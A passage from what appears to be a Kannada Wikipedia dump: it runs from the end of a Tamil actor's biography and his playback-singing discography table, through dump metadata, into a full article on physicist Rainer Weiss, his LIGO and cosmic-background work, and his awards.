ಅಕ್ಷಿತಾ ಮತ್ತು ಓರ್ವ ಪುತ್ರ ಧ್ರುವ್ ಇದ್ದಾರೆ. ಅವರ ಮಗಳು ಎಂ. ಕರುಣಾನಿಧಿಯ ಮೊಮ್ಮಗ ಮನು ರಂಜಿತ್ ಅವರನ್ನು ೩೦ ಅಕ್ಟೋಬರ್ ೨೦೧೭ ರಂದು ವಿವಾಹವಾದರು. ಅವರು ಚೆನ್ನೈನ ಬೆಸೆಂಟ್ ನಗರದಲ್ಲಿರುವ ಬೀಚ್ ಬಳಿ ವಾಸಿಸುತ್ತಿದ್ದಾರೆ ಮತ್ತು ಇತರ ಪ್ರಾದೇಶಿಕ ಚಲನಚಿತ್ರಗಳಲ್ಲಿನ ಯಾವುದೇ ಕೊಡುಗೆಗಳನ್ನು ಲೆಕ್ಕಿಸದೆ ಅವರು ಚೆನ್ನೈನಲ್ಲಿ ನೆಲೆಸುತ್ತಾರೆ ಎಂದು ಹೇಳಿದ್ದಾರೆ. ಧ್ರುವ್ ಆದಿತ್ಯ ವರ್ಮಾ ಅವರೊಂದಿಗೆ ೨೦೧೯ ರಲ್ಲಿ ಚೊಚ್ಚಲ ಪ್ರವೇಶ ಮಾಡಿದರು, ಇದು ತೆಲುಗು ಚಿತ್ರ ಅರ್ಜುನ್ ರೆಡ್ಡಿ ಅವರ ತಮಿಳು ರಿಮೇಕ್ ಆಗಿದೆ. ==ಡಿಸ್ಕೋಗ್ರಾಫಿ== {| class="wikitable plainrowheaders sortable" |- ! scope="col" style="width:20%;"| ಶೀರ್ಷಿಕೆ ! scope="col" style="width:5%;"| ವರ್ಷ ! scope="col" | ಭಾಷೆ ! ಹಾಡುಗಳು ! ಸಂಯೋಜಕರು ! class="unsortable" | ಸಹ ಸಂಯೋಜಕರು ! class="unsortable" | {{Tooltip|Ref.|Reference}} |- ! scope="row" | ''ಶ್ರೀ'' | ೨೦೦೨ | ತಮಿಳು | "ಯಮಿರುಕ್ಕ ಬಯಾಮೀನ್" | {{sortname|ಟಿ.ಎಸ್ | ಮುರಳೀಧರನ್|nolink=1}} | [[ಶಂಕರ್ ಮಹಾದೇವನ್]], ಟಿಪ್ಪು | style="text-align: center;" |<ref name="DTD">{{cite news | url=http://www.thehindu.com/thehindu/lf/2002/02/01/stories/2002020100410200.htm | title=Dhil to Dhool | work=The Hindu | date=1 February 2002 | accessdate=1 February 2015 | archiveurl=https://web.archive.org/web/20150201154114/http://www.thehindu.com/thehindu/lf/2002/02/01/stories/2002020100410200.htm | archivedate=1 February 2015 | url-status=live}}</ref> <br/> <ref>{{cite news | url=http://www.thehindu.com/todays-paper/tp-features/tp-cinemaplus/sing-on/article3021611.ece | title=Sing on... | work=The Hindu | date=26 June 2009 | accessdate=1 February 2015 | last=Rangarajan | first=Malathi | archiveurl=https://web.archive.org/web/20150201154658/http://www.thehindu.com/todays-paper/tp-features/tp-cinemaplus/sing-on/article3021611.ece | archivedate=1 February 2015 | url-status=live}}</ref> |- ! scope="row" | ''ಜೆಮಿನಿ'' | ೨೦೦೨ | ತಮಿಳು | "ಒ ಪೊಡು" | [[ಭಾರತ್ವಾಜ್]] | {{sortname|ಅನುರಾಧ | ಶ್ರೀರಾಮ್}} | style="text-align: center;" |<ref>{{cite news | url=http://www.thehindu.com/thehindu/lf/2002/03/31/stories/2002033100270200.htm | title='Gemini' already a hit! | work=The Hindu | date=31 March 2002 | accessdate=1 February 2015 | last=Kamath | first=Sudhish | archiveurl=https://web.archive.org/web/20150201155021/http://www.thehindu.com/thehindu/lf/2002/03/31/stories/2002033100270200.htm | archivedate=1 February 2015 | url-status=live}}</ref> |- ! scope="row" | ''ಕಾಂತಸ್ವಾಮಿ'' / ''ಮಲ್ಲಣ್ಣ'' | ೨೦೦೯ | ತಮಿಳು / ತೆಲುಗು | "ಎಕ್ಸಕ್ಯೂಸ್ ಮಿ" <br/>"ಇಥೆಲ್ಲಮ್ ಡ್ಯೂಪ್" / "ಇವನೇ ಡ್ಯೂಪ್" <br/>"ಮಾಂಬೊ ಮಾಮಿಯಾ" <br/>"ಮಿಯಾವ್ ಮಿಯಾವ್" | ದೇವಿ ಶ್ರೀ ಪ್ರಸಾದ್ | ಸುಚಿತ್ರ <br/> ದೇವಿ ಶ್ರೀ ಪ್ರಸಾದ್ <br/> ರೀಟ <br/> ಪ್ರಿಯಾ ಹಿಮೇಶ್ | style="text-align: center;" |<ref>{{cite news | url=http://www.thehindu.com/todays-paper/tp-national/tp-tamilnadu/article355048.ece | title=Vikram a singer too | work=The Hindu | date=15 February 2009 | accessdate=1 February 2015 | last=Ashok Kumar | first=S. R. | archiveurl=https://web.archive.org/web/20150201155228/http://www.thehindu.com/todays-paper/tp-national/tp-tamilnadu/article355048.ece | archivedate=1 February 2015 | url-status=live}}</ref> <br/> <ref>{{cite news | url=http://www.thehindu.com/todays-paper/tp-features/tp-metroplus/article648662.ece | title=Music to the ears | work=The Hindu | date=8 April 2009 | accessdate=1 February 2015 | last=Ashok Kumar | first=S. R. | archiveurl=https://web.archive.org/web/20150201155610/http://www.thehindu.com/todays-paper/tp-features/tp-metroplus/article648662.ece | archivedate=1 February 2015 | url-status=live}}</ref> |- ! scope="row" | ''ಮದ್ರಾಸಪಟ್ಟಣಂ'' | ೨೦೧೦ | ತಮಿಳು | "ಮೇಘಮೆ ಒ ಮೇಘಮೆ" | {{sortname|ಜಿ.ವಿ | ಪ್ರಕಾಶ್ ಕುಮಾರ್}} | {{sortname|ಎಂ.ಎಸ್ | ವಿಶ್ವನಾಥನ್}}, ನಾಸರ್ | style="text-align: center;" |<ref>{{cite news | url=http://timesofindia.indiatimes.com/entertainment/tamil/movies/news-interviews/Vikram-croons-in-five-voices/articleshow/5658772.cms | title=Vikram croons in five voices! | work=The Times of India | date=9 March 2010 | accessdate=1 February 2015 | last=Ramanujam | first=Srinivasa | archiveurl=https://web.archive.org/web/20150201160601/http://timesofindia.indiatimes.com/entertainment/tamil/movies/news/Vikram-croons-in-five-voices/articleshow/5658772.cms | archivedate=1 February 2015 | url-status=live | df=dmy-all }}</ref> |- ! scope="row" | ''[[ದೇವ ತಿರುಮಗಲ್]]'' / ''ನನ್ನ'' | ೨೦೧೧ | ತಮಿಳು / ತೆಲುಗು | "ಕಥಾ ಸೋಲ್ಲಾ ಪೊರೆನ್" / "ಕಥಾ ಚೆಪುಥೇನ್" <br/>"ಪಾ ಪಾ ಪಪ್ಪಾ" | {{sortname|ಎಂ.ಎಸ್ | ವಿಶ್ವನಾಥನ್|nolink=1}} | ಶೃಂಗ <br/> ಏಕವ್ಯಕ್ತಿ | style="text-align: center;" |<ref>{{cite news | url=http://www.rediff.com/movies/report/south-review-deiva-thirumagan/20110420.htm | title=Music Review: Deiva Thirumagan music is touching | publisher=Rediff.com | date=20 April 2011 | accessdate=1 February 2015 | last=Srinivasan | first=Pavithra | archiveurl=https://web.archive.org/web/20150201160751/http://www.rediff.com/movies/report/south-review-deiva-thirumagan/20110420.htm | archivedate=1 February 2015 | url-status=live}}</ref> |- ! scope="row" | ''ರಾಜಪಟ್ಟೈ'' / ''ವೀಡಿಂಥೆ'' | ೨೦೧೧ | ತಮಿಳು / ತೆಲುಗು | "ಲಡ್ಡು ಲಡ್ಡು" | ಯುವನ್ ಶಂಕರ್ ರಾಜ | ಸುಚಿತ್ರಾ, ಪ್ರಿಯದರ್ಶಿನಿ | style="text-align: center;" |<ref name="Pattai">{{cite news | url=http://www.rediff.com/movies/review/music-review-rajapattai/20111216.htm | title=Music Review: Nothing new about Rajapattai's music | publisher=Rediff.com | date=16 December 2011 | accessdate=1 February 2015 | last=Srinivasan | first=Pavithra | archiveurl=https://web.archive.org/web/20150201161457/http://www.rediff.com/movies/review/music-review-rajapattai/20111216.htm | archivedate=1 February 2015 | url-status=live}}</ref> <br/> <ref>{{cite web | url=http://play.raaga.com/telugu/album/Veedinthe-songs-A0002842 | title=Veedinthe (2011) | publisher=[[Raaga.com]] | accessdate=1 February 2015 | archiveurl=https://web.archive.org/web/20150201162453/http://play.raaga.com/telugu/album/Veedinthe-songs-A0002842 | archivedate=1 February 2015 | url-status=live}}</ref> |- ! scope="row" | ''ಡೇವಿಡ್'' | ೨೦೧೩ | ತಮಿಳು | "ಮಾರಿಯಾ ಪಿತಾಚೆ" | {{sortname|ರೆಮೋ | ಫರ್ನಾಂಡಿಸ್}} | {{sortname|ರೆಮೋ | ಫರ್ನಾಂಡಿಸ್|nolink=1}} | style="text-align: center;" |<ref>{{cite news | url=http://ibnlive.in.com/news/david--tamil-music-review-the-soundtrack--boasts-of-trendsetting-music/315811-71-178.html | title=Music Review: David&nbsp;— The soundtrack boasts of trendsetting music | publisher=CNN-News18 | date=15 January 2013 | agency=IANS | accessdate=1 February 2015 | archiveurl=https://www.webcitation.org/6W2tlOlE8?url=http://ibnlive.in.com/news/david--tamil-music-review-the-soundtrack--boasts-of-trendsetting-music/315811-71-178.html | archivedate=2 February 2015 | url-status=live | df=dmy-all }}</ref> |- ! scope="row" | ''ಸ್ಕೆಚ್'' | 2018 | ತಮಿಳು | "ಕನವೆ ಕನವೆ" | {{sortname|ಎಸ್ | ಥಮನ್}} | {{sortname|ಎಸ್ | ಥಮನ್|nolink=1}} | style="text-align: center;" |<ref>{{cite web |url=https://itunes.apple.com/in/album/sketch-original-motion-picture-soundtrack-ep/1334069589 |title=Sketch (Original Motion Picture Soundtrack) - EP by Thaman S. on Apple Music |date=11 January 2018 |website=[[Apple Music]] |access-date=30 January 2018}}</ref> |- ! scope="row" | ''ಸಾಮಿ ಸ್ಕ್ವೇರ್'' | ೨೦೧೮ | ತಮಿಳು | "ಪುಧು ಮೆಟ್ರೋ ರೈಲು" | ದೇವಿ ಶ್ರೀ ಪ್ರಸಾದ್ | ಕೀರ್ತಿ ಸುರೇಶ್ | style="text-align: center;" |<ref>{{cite web|url=https://itunes.apple.com/us/album/saamy-square-original-motion-picture-soundtrack-ep/1415789917|title=Saamy Square (Original Motion Picture Soundtrack) - EP by Devi Sri Prasad on Apple Music|date=24 July 2018|website=[[Apple Music]]|accessdate=19 September 2018}}</ref> |- ! scope="row" | ''ಕಡರಾಮ್ ಕೊಂಡನ್'' | ೨೦೧೯ | ತಮಿಳು | "ಥೀಸುದಾರ್ ಕುನಿಯುಮಾ" | ಘಿಬ್ರಾನ್ | {{N/A}} | style="text-align: center;" |<ref>{{cite web|url=https://timesofindia.indiatimes.com/entertainment/tamil/music/kadaraam-kondan-makers-release-new-video-song-titled-theesudar-kuniyuma-from-the-chiyan-vikram-starrer/articleshow/70361991.cms|title='Kadaraam Kondan’: Makers release new video song titled, ‘'Theesudar Kuniyuma' from the Chiyan Vikram starrer|date=24 July 2019|website=[[ಟೈಮ್ಸ್ ಆಫ್ ಇಂಡಿಯ]]|accessdate=3 August 2019}}</ref> |} ==ಉಲ್ಲೇಖಗಳು== n5yphjo87vnjlhqetv31qkuilpkspnq ರೈನರ್ ವೈಸ್ 0 118531 1116426 1058000 2022-08-23T12:16:57Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox scientist | name = ರೈನರ್ ವೈಸ್ | image = Rainer Weiss after a conference in Almería.jpg | caption = ಜೂನ್ ೨೦೧೮ ರಲ್ಲಿ ವೈಸ್ | birth_date = {{nowrap|{{birth date and age|1932|9|29}}}} | birth_place = [[ಬರ್ಲಿನ್]], ವೀಮರ್ ರಿಪಬ್ಲಿಕ್ | death_date = | death_place = | education = ಮ್ಯಾಸಚೂಸೆಟ್ಸ್ ಇನ್ಸ್ಟಿಟ್ಯೂಟ್ ಆಫ್ ಟೆಕ್ನಾಲಜಿ (ವಿಜ್ಞಾನ ಪದವಿ | ಬಿ.ಎಸ್, ಮಾಸ್ಟರ್ ಆಫ್ ಸೈನ್ಸ್ | ಎಂ.ಎಸ್, ಪಿ ಎಚ್ ಡಿ) | known_for = ಲೇಸರ್ ಇಂಟರ್ಫೆರೋಮೆಟ್ರಿಕ್ ಪ್ರವರ್ತಕ ಗುರುತ್ವ ತರಂಗ ವೀಕ್ಷಣೆ | influences = ರಾಬರ್ಟ್ ಎಚ್. ಡಿಕೆ | awards = ಐನ್‌ಸ್ಟೈನ್ ಪ್ರಶಸ್ತಿ (ಎಪಿಎಸ್) (೨೦೦೭)<br>ಮೂಲಭೂತ ಭೌತಶಾಸ್ತ್ರದಲ್ಲಿ ಬ್ರೇಕ್ಥ್ರೂ ಪ್ರಶಸ್ತಿ (೨೦೧೬)<br>ವಿಶ್ವವಿಜ್ಞಾನದಲ್ಲಿ ಗ್ರೂಬರ್ ಪ್ರಶಸ್ತಿ (೨೦೧೬) <br> ಶಾ ಪ್ರಶಸ್ತಿ (೨೦೧೬)<br>ಕವ್ಲಿ ಪ್ರಶಸ್ತಿ (೨೦೧೬) <br> ಹಾರ್ವೆ ಪ್ರಶಸ್ತಿ (೨೦೧೬) <br> ಅಸ್ಟೂರಿಯಸ್ ಪ್ರಶಸ್ತಿಗಳ ರಾಜಕುಮಾರಿ (೨೦೧೭) <br> ಭೌತಶಾಸ್ತ್ರದಲ್ಲಿ ನೊಬೆಲ್ ಪ್ರಶಸ್ತಿ (೨೦೧೭) | field = [[ಭೌತಶಾಸ್ತ್ರ]] <br> ಲೇಸರ್ ವಿಜ್ಞಾನ <br> ಪ್ರಾಯೋಗಿಕ ಭೌತಶಾಸ್ತ್ರ | workplaces = ಮ್ಯಾಸಚೂಸೆಟ್ಸ್ ಇನ್ಸ್ಟಿಟ್ಯೂಟ್ ಆಫ್ ಟೆಕ್ನಾಲಜಿ | thesis_title = ಹೈಡ್ರೋಜನ್ ಫ್ಲೋರೈಡ್‌ನ ಸ್ಟಾರ್ಕ್ ಎಫೆಕ್ಟ್ ಮತ್ತು ಹೈಪರ್‌ಫೈನ್ ರಚನೆ | thesis_url = https://search.proquest.com/docview/302113994/ | thesis_year = 1962 | doctoral_advisor = ಜೆರೋಲ್ಡ್ ಆರ್. ಜಕಾರಿಯಾಸ್ | doctoral_students = ನೆರ್ಗಿಸ್ ಮಾವಲ್ವಾಲಾ | notable_students = ಬ್ರೂಸ್ ಅಲೆನ್ (ಭೌತಶಾಸ್ತ್ರಜ್ಞ)<br>ಸಾರಾ ವೀಚ್ }} [[File:Rainer Weiss EM1B8841 (24027015857).jpg|thumb|262px|ಡಿಸೆಂಬರ್ ೨೦೧೭ ರ ಸ್ಟಾಕ್ಹೋಮ್ನಲ್ಲಿ ನಡೆದ ನೊಬೆಲ್ ಪ್ರಶಸ್ತಿ ಪತ್ರಿಕಾಗೋಷ್ಠಿಯಲ್ಲಿ ರೈನರ್ ವೈಸ್]] '''ರೈನರ್ "ರಾಯ್" ವೈಸ್''' ([[ಜನನ]] ೨೯ ಸೆಪ್ಟೆಂಬರ್ ೧೯೩೨) ಒಬ್ಬ ಅಮೇರಿಕನ್ [[ಭೌತಶಾಸ್ತ್ರಜ್ಞ]]. ಇವರು ಎಂಐಟಿಯಲ್ಲಿ ಭೌತಶಾಸ್ತ್ರದ ಎಮೆರಿಟಸ್ ಪ್ರಾಧ್ಯಾಪಕರು ಮತ್ತು ಎಲ್ ಎಸ್ ಯುನಲ್ಲಿ ಸಹಾಯಕ ಪ್ರಾಧ್ಯಾಪಕರಾಗಿದ್ದಾರೆ. ಲಿಗೊ ನ ಮೂಲ ಕಾರ್ಯಾಚರಣೆಯಾದ ಲೇಸರ್ ಇಂಟರ್ಫೆರೋಮೆಟ್ರಿಕ್ ತಂತ್ರವನ್ನು ಕಂಡುಹಿಡಿದಿದ್ದಕ್ಕಾಗಿ ಅವರು ಹೆಚ್ಚು ಹೆಸರುವಾಸಿಯಾಗಿದ್ದಾರೆ. ಇವರು ಕೋಬ್ [[ವಿಜ್ಞಾನ]] ಕಾರ್ಯ ಸಮೂಹದ [[ಅಧ್ಯಕ್ಷ|ಅಧ್ಯಕ್ಷರಾಗಿದ್ದರು]].<ref>https://books.google.co.in/books?id=yRS3CgAAQBAJ&pg=PA25&redir_esc=y</ref><ref>https://www.nasa.gov/centers/goddard/news/topstory/2006/gruber_award.html</ref><ref>http://ned.ipac.caltech.edu/level5/March03/Weiss/Weiss5.html</ref> ಇವರು ಫೆರ್ಮಿಲಾಬ್ ಹೋಲೋಮೀಟರ್ ಪ್ರಯೋಗದ ಸದಸ್ಯ. ಇದು [[ಕ್ವಾಂಟಮ್]] ಪ್ರಮಾಣದಲ್ಲಿ [[ಸ್ಥಳ]] ಮತ್ತು [[ಸಮಯ|ಸಮಯದ]] ಗುಣಲಕ್ಷಣಗಳನ್ನು ಅಳೆಯಲು ಮತ್ತು ಕ್ವಾಂಟಮ್ ಹೊಲೊಗ್ರಾಫಿಕ್ ಏರಿಳಿತದ ಪ್ಲ್ಯಾಂಕ್-ನಿಖರ [[ಪರೀಕ್ಷೆ|ಪರೀಕ್ಷೆಗಳನ್ನು]] ಒದಗಿಸಲು ೪೦ ಮೀ ಲೇಸರ್ ಇಂಟರ್ಫೆರೋಮೀಟರ್ ಅನ್ನು ಬಳಸಲಾಗುತ್ತದೆ.<ref>https://cqgplus.com/2017/10/06/why-we-built-the-holometer/</ref> "ಲಿಗೊ ಡಿಟೆಕ್ಟರ್‌ಗೆ ನಿರ್ಣಾಯಕ ಕೊಡುಗೆ ಮತ್ತು [[ಗುರುತ್ವಾಕರ್ಷಣೆ|ಗುರುತ್ವಾಕರ್ಷಣೆಯ]] ಅಲೆಗಳ ವೀಕ್ಷಣೆಗಾಗಿ" ೨೦೧೭ ರಲ್ಲಿ ಕಿಪ್ ಥಾರ್ನೆ ಮತ್ತು [[ಬ್ಯಾರಿ ಬ್ಯಾರಿಷ್]] ಅವರೊಂದಿಗೆ ವೈಸ್‌ಗೆ ಭೌತಶಾಸ್ತ್ರದ [[ನೊಬೆಲ್ ಪ್ರಶಸ್ತಿ]] ನೀಡಲಾಯಿತು.<ref>https://www.nobelprize.org/prizes/physics/2017/press-release/</ref><ref>https://www.bbc.com/news/science-environment-41476648</ref> ==ಆರಂಭಿಕ ಜೀವನ ಮತ್ತು ಶಿಕ್ಷಣ== [[ಜರ್ಮನಿ|ಜರ್ಮನಿಯ]] [[ಬರ್ಲಿನ್|ಬರ್ಲಿನ್‌ನಲ್ಲಿ]] ಗೆರ್ಟ್ರೂಡ್ ಲೋಸ್ನರ್ ಮತ್ತು ಫ್ರೆಡೆರಿಕ್ ಎ. ವೈಸ್‌ರ [[ಮಗ|ಮಗನಾಗಿ]] ರೈನರ್ ವೈಸ್ ಜನಿಸಿದರು.<ref>https://news.mit.edu/2017/mit-physicist-rainer-weiss-shares-nobel-prize-physics-1003</ref> ಇವರ [[ತಂದೆ]] [[ವೈದ್ಯ]], ನರವಿಜ್ಞಾನಿ ಮತ್ತು ಮನೋವಿಶ್ಲೇಷಕ. ಇವರು [[ಯಹೂದಿ]] ಮತ್ತು ಕಮ್ಯುನಿಸ್ಟ್ ಪಕ್ಷದ ಸಕ್ರಿಯ ಸದಸ್ಯರಾಗಿದ್ದರಿಂದ ಇವರನ್ನು ನಾಜಿಗಳು ಜರ್ಮನಿಯಿಂದ ಹೊರಹಾಕಿದರು. ಇವರ [[ತಾಯಿ]] [[ನಟಿ]]. ಇವರ [[ಚಿಕ್ಕಮ್ಮ]] ಸಮಾಜಶಾಸ್ತ್ರಜ್ಞ ಹಿಲ್ಡಾ ವೈಸ್. ಕುಟುಂಬವು ಮೊದಲು [[ಪ್ರಾಗ್]] ಗೆ ಓಡಿಹೋಯಿತು. ಆದರೆ ೧೯೩೮ ರ ಮ್ಯೂನಿಚ್ [[ಒಪ್ಪಂದ|ಒಪ್ಪಂದದ]] ನಂತರ ಜರ್ಮನಿಯು ಜೆಕೊಸ್ಲೊವಾಕಿಯಾವನ್ನು ಆಕ್ರಮಿಸಿಕೊಂಡಿದ್ದರಿಂದ ಇವರು ಪಲಾಯನ ಮಾಡಿದರು. ಸೆಂಟ್ ಲೂಯಿಸ್ನ ಲೋಕೋಪಕಾರಿ ಸ್ಟಿಕ್ಸ್ [[ಕುಟುಂಬ|ಕುಟುಂಬವು]] ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ಗೆ ಪ್ರವೇಶಿಸಲು ವೀಸಾಗಳನ್ನು ಪಡೆಯಲು ಇವರಿಗೆ ಅನುವು ಮಾಡಿಕೊಟ್ಟಿತು. ವೈಸ್ ತನ್ನ ಯೌವನವನ್ನು [[ನ್ಯೂಯಾರ್ಕ್]] ನಗರದಲ್ಲಿ ಕಳೆದರು ಅಲ್ಲಿ ಅವರು ಕೊಲಂಬಿಯಾ ಗ್ರಾಮರ್ [[ಶಾಲೆ|ಶಾಲೆಯಲ್ಲಿ]] ಓದಿದರು. ಇವರು ಎಂಐಟಿಯಲ್ಲಿ ಅಧ್ಯಯನ ಮಾಡಿದರು. ಇವರು ೧೯೬೦ ರಿಂದ ೧೯೬೨ ರವರೆಗೆ ಟಫ್ಟ್ಸ್ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಕಲಿಸಿದರು. ೧೯೬೨ ರಿಂದ ೧೯೬೪ ರವರೆಗೆ ಪ್ರಿನ್ಸ್ಟನ್ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಸ್ನಾತಕೋತ್ತರ [[ವಿದ್ವಾಂಸ|ವಿದ್ವಾಂಸರಾಗಿದ್ದರು]] ಮತ್ತು ೧೯೬೪ ರಲ್ಲಿ ಎಂಐಟಿಯಲ್ಲಿ ಅಧ್ಯಾಪಕರಿಗೆ ಸೇರಿದರು. ==ಸಾಧನೆಗಳು== ವೈಸ್ ಹುಟ್ಟಿನಿಂದ ಪ್ರಬುದ್ಧತೆಗೆ, ಮೂಲಭೂತ ಭೌತಶಾಸ್ತ್ರ [[ಸಂಶೋಧನೆ|ಸಂಶೋಧನೆಯ]] ಎರಡು ಕ್ಷೇತ್ರಗಳನ್ನು ತಂದರು: ಕಾಸ್ಮಿಕ್ ಹಿನ್ನೆಲೆ ವಿಕಿರಣದ ಗುಣಲಕ್ಷಣ ಮತ್ತು ಇಂಟರ್ಫೆರೋಮೆಟ್ರಿಕ್ ಗುರುತ್ವ ತರಂಗ ವೀಕ್ಷಣೆ. ಇವರು ಬಲೂನ್ ಪ್ರಯೋಗದೊಂದಿಗೆ ಕಾಸ್ಮಿಕ್ ಮೈಕ್ರೊವೇವ್ ಹಿನ್ನೆಲೆ ವಿಕಿರಣದ ವರ್ಣಪಟಲದ ಪ್ರವರ್ತಕ [[ಮಾಪನ|ಮಾಪನಗಳನ್ನು]] ಮಾಡಿದರು. ಮೈಕ್ರೊವೇವ್ ಹಿನ್ನೆಲೆಯು ಬಿಗ್ ಬ್ಯಾಂಗ್‌ನಿಂದ ಉಳಿದಿರುವ [[ವಿಕಿರಣ|ವಿಕಿರಣದ]] [[ಉಷ್ಣ]] ವರ್ಣಪಟಲದ ವಿಶಿಷ್ಟತೆಯನ್ನು ಪ್ರದರ್ಶಿಸುತ್ತದೆ ಎಂದು ಖಚಿತವಾದ ಅಳತೆಯನ್ನು ಮಾಡಿತು.<ref>https://www.sciencemag.org/news/2016/08/meet-college-dropout-who-invented-gravitational-wave-detector</ref> ನಂತರ ಇವರು [[ನಾಸಾ]] ಕಾಸ್ಮಿಕ್ ಹಿನ್ನೆಲೆ ಎಕ್ಸ್‌ಪ್ಲೋರರ್ (ಕೋಬ್) ಉಪಗ್ರಹದ ಸಹಸ್ಥಾಪಕ ಮತ್ತು ವಿಜ್ಞಾನ ಸಲಹೆಗಾರರಾದರು. ಇವರು ಎನ್ಎಸ್ಎಫ್ ಎಲ್ಐಜಿಒ (ಗುರುತ್ವ-ತರಂಗ ಪತ್ತೆ) [[ಯೋಜನೆ|ಯೋಜನೆಯನ್ನು]] ಸಹ-ಸ್ಥಾಪಿಸಿದರು. ಇದು "ಎ ಸ್ಟಡಿ ಆಫ್ ಲಾಂಗ್ ಬೇಸ್ಲೈನ್ ​​ಗ್ರಾವಿಟೇಶನಲ್ ವೇವ್ ಆಂಟೆನಾ ಸಿಸ್ಟಮ್" ಎಂಬ ವರದಿಯನ್ನು ಆಧರಿಸಿದೆ. ಫೆಬ್ರವರಿ ೨೦೧೬ ರಲ್ಲಿ ಸೆಪ್ಟೆಂಬರ್ ೨೦೧೫ ರಲ್ಲಿ ಮೊದಲ ನೇರ ಗುರುತ್ವಾಕರ್ಷಣೆಯ ತರಂಗ ವೀಕ್ಷಣೆಯನ್ನು ಮಾಡಲಾಗಿದೆ ಎಂದು ಪ್ರಕಟಣೆಗಾಗಿ ಪತ್ರಿಕಾಗೋಷ್ಠಿಯಲ್ಲಿ ಹಾಜರಿದ್ದ ಲಿಗೊ / ಕನ್ಯಾರಾಶಿ ಸಹಯೋಗದ ನಾಲ್ಕು ವಿಜ್ಞಾನಿಗಳಲ್ಲಿ ಒಬ್ಬರಾಗಿದ್ದರು.<ref>https://www.newyorker.com/tech/annals-of-technology/gravitational-waves-exist-heres-how-scientists-finally-found-them</ref><ref>https://www.skyandtelescope.com/astronomy-news/gravitational-wave-detection-heralds-new-era-of-science-0211201644/</ref> ==ಗೌರವಗಳು ಮತ್ತು ಪ್ರಶಸ್ತಿಗಳು== ರೈನರ್ ವೈಸ್ ಹಲವು ಪ್ರಶಸ್ತಿಗಳಿಂದ ಗುರುತಿಸಲ್ಪಟ್ಟಿದ್ದಾರೆ: *೨೦೦೬ ರಲ್ಲಿ ಜಾನ್ ಸಿ. ಮಾಥರ್ ಅವರೊಂದಿಗೆ ಇವರು ಮತ್ತು ಕೋಬ್ ತಂಡವು ಕಾಸ್ಮಾಲಜಿಯಲ್ಲಿ ಗ್ರೂಬರ್ [[ಪ್ರಶಸ್ತಿ|ಪ್ರಶಸ್ತಿಯನ್ನು]] ಪಡೆದರು. *೨೦೦೭ ರಲ್ಲಿ ರೊನಾಲ್ಡ್ ಡ್ರೆವರ್ ಅವರೊಂದಿಗೆ ಈ ಕೆಲಸಕ್ಕಾಗಿ ಅವರಿಗೆ [[ಐನ್‍ಸ್ಟೈನ್|ಐನ್‌ಸ್ಟೈನ್ ]] [[ಪ್ರಶಸ್ತಿ]] ನೀಡಲಾಯಿತು.<ref>https://www.aps.org/programs/honors/prizes/prizerecipient.cfm?last_nm=Weiss&first_nm=Rainer&year=2007</ref> ೨೦೧೬ ಮತ್ತು ೨೦೧೭ ರಲ್ಲಿ ಗುರುತ್ವಾಕರ್ಷಣೆಯ ಅಲೆಗಳ ಪತ್ತೆ ಸಾಧನೆಗಾಗಿ ಸ್ವೀಕರಿಸುವ ಪ್ರಶಸ್ತಿಗಳು: *ಮೂಲಭೂತ ಭೌತಶಾಸ್ತ್ರದಲ್ಲಿ ವಿಶೇಷ ಪ್ರಗತಿ ಪ್ರಶಸ್ತಿ.<ref>https://breakthroughprize.org/News/32</ref> *ಕಾಸ್ಮಾಲಜಿಯಲ್ಲಿ ಗ್ರೂಬರ್ ಪ್ರಶಸ್ತಿ.<ref>https://gruber.yale.edu/cosmology/press/2016-gruber-cosmology-prize-press-release</ref> *ಶಾ ಪ್ರಶಸ್ತಿ.<ref>{{Cite web |url=http://www.shawprize.org/en/shaw.php?tmp=3&twoid=102&threeid=254&fourid=476 |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2019-09-01 |archive-date=2018-03-03 |archive-url=https://web.archive.org/web/20180303094456/http://www.shawprize.org/en/shaw.php?tmp=3&twoid=102&threeid=254&fourid=476 |url-status=dead }}</ref> *ಖಗೋಳ ಭೌತಶಾಸ್ತ್ರದಲ್ಲಿ ಕವ್ಲಿ ಪ್ರಶಸ್ತಿ.<ref>https://www.prnewswire.com/news-releases/9-scientific-pioneers-receive-the-2016-kavli-prizes-300278385.html</ref> *ಕಿಪ್ ಥಾರ್ನೆ ಮತ್ತು ರೊನಾಲ್ಡ್ ಡ್ರೆವರ್ ಅವರೊಂದಿಗೆ ಹಾರ್ವೆ ಪ್ರಶಸ್ತಿ.<ref>https://harveypz.net.technion.ac.il/harvey-prize-laureates/</ref> *ದೈಹಿಕ ವಿಜ್ಞಾನ ವಿಭಾಗದಲ್ಲಿ ಕಿಪ್ ಥಾರ್ನೆ ಮತ್ತು ಬ್ಯಾರಿ ಬ್ಯಾರಿಷ್ ಅವರೊಂದಿಗೆ ಸ್ಮಿತ್‌ಸೋನಿಯನ್ ನಿಯತಕಾಲಿಕದ ಅಮೇರಿಕನ್ ಜಾಣ್ಮೆ ಪ್ರಶಸ್ತಿ.<ref>https://www.smithsonianmag.com/innovation/wave-catchers-ligo-team-winner-smithsonian-ingenuity-awards-2016-physical-sciences-180961124/</ref> *ಲೇಸರ್ ಸೈನ್ಸ್ ಮತ್ತು ಕ್ವಾಂಟಮ್ ಆಪ್ಟಿಕ್ಸ್ ೨೦೧೭ ರ ವಿಲ್ಲೀಸ್ ಇ. ಲ್ಯಾಂಬ್ ಪ್ರಶಸ್ತಿ.<ref>http://lambaward.org</ref> *ಪ್ರಿನ್ಸೆಸ್ ಆಫ್ ಅಸ್ಟೂರಿಯಸ್ ಪ್ರಶಸ್ತಿ (೨೦೧೭) (ಕಿಪ್ ಥಾರ್ನೆ ಮತ್ತು ಬ್ಯಾರಿ ಬ್ಯಾರಿಷ್ ಅವರೊಂದಿಗೆ ಜಂಟಿಯಾಗಿ).<ref>https://www.fpa.es/en/error404.do</ref> *ಭೌತಶಾಸ್ತ್ರದಲ್ಲಿನ ನೊಬೆಲ್ ಪ್ರಶಸ್ತಿ (೨೦೧೭) (ಕಿಪ್ ಥಾರ್ನೆ ಮತ್ತು ಬ್ಯಾರಿ ಬ್ಯಾರಿಷ್ ಅವರೊಂದಿಗೆ ಜಂಟಿಯಾಗಿ). 